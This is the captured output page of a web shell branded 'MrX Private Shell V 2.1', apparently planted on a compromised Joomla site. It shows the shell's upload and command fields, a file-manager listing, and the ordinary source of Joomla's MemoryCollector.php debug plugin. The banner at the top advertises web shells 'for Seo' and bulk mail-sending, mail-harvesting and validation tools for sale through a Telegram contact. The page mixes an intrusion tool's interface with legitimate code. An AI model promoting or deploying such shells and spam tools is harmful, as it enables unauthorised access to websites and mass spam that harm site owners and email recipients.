__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use Joomla\Plugin\System\Debug\AbstractDataCollector;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Collects info about the request duration as well as providing
 * a way to log duration of any operations
 *
 * @since  4.4.0
 */
class MemoryCollector extends AbstractDataCollector
{
    /**
     * @var   boolean
     * @since 4.4.0
     */
    protected $realUsage = false;

    /**
     * @var    float
     * @since 4.4.0
     */
    protected $peakUsage = 0;

    /**
     * @param   Registry  $params Parameters.
     * @param   float     $peakUsage
     * @param   boolean   $realUsage
     *
     * @since 4.4.0
     */
    public function __construct(Registry $params, $peakUsage = null, $realUsage = null)
    {
        parent::__construct($params);

        if ($peakUsage !== null) {
            $this->peakUsage = $peakUsage;
        }

        if ($realUsage !== null) {
            $this->realUsage = $realUsage;
        }
    }

    /**
     * Returns whether total allocated memory page size is used instead of actual used memory size
     * by the application.  See $real_usage parameter on memory_get_peak_usage for details.
     *
     * @return boolean
     *
     * @since 4.4.0
     */
    public function getRealUsage()
    {
        return $this->realUsage;
    }

    /**
     * Sets whether total allocated memory page size is used instead of actual used memory size
     * by the application.  See $real_usage parameter on memory_get_peak_usage for details.
     *
     * @param boolean $realUsage
     *
     * @since 4.4.0
     */
    public function setRealUsage($realUsage)
    {
        $this->realUsage = $realUsage;
    }

    /**
     * Returns the peak memory usage
     *
     * @return integer
     *
     * @since 4.4.0
     */
    public function getPeakUsage()
    {
        return $this->peakUsage;
    }

    /**
     * Updates the peak memory usage value
     *
     * @since 4.4.0
     */
    public function updatePeakUsage()
    {
        if ($this->peakUsage === null) {
            $this->peakUsage = memory_get_peak_usage($this->realUsage);
        }
    }

    /**
     * @return array
     *
     * @since 4.4.0
     */
    public function collect()
    {
        $this->updatePeakUsage();

        return [
            'peak_usage'     => $this->peakUsage,
            'peak_usage_str' => $this->getDataFormatter()->formatBytes($this->peakUsage, 3),
        ];
    }

    /**
     * @return string
     *
     * @since 4.4.0
     */
    public function getName()
    {
        return 'memory';
    }

    /**
     * @return array
     *
     * @since 4.4.0
     */
    public function getWidgets()
    {
        return [
            'memory' => [
                'icon'    => 'cogs',
                'tooltip' => 'Memory Usage',
                'map'     => 'memory.peak_usage_str',
                'default' => "'0B'",
            ],
        ];
    }
}

Filemanager

Name Type Size Permission Actions
InfoCollector.php File 5.41 KB 0664
LanguageErrorsCollector.php File 3.39 KB 0664
LanguageFilesCollector.php File 3.02 KB 0664
LanguageStringsCollector.php File 4.79 KB 0664
MemoryCollector.php File 3.21 KB 0664
ProfileCollector.php File 8.32 KB 0664
QueryCollector.php File 7.08 KB 0664
RequestDataCollector.php File 1.87 KB 0664
SessionCollector.php File 2.91 KB 0664
UserCollector.php File 1.37 KB 0664
Filemanager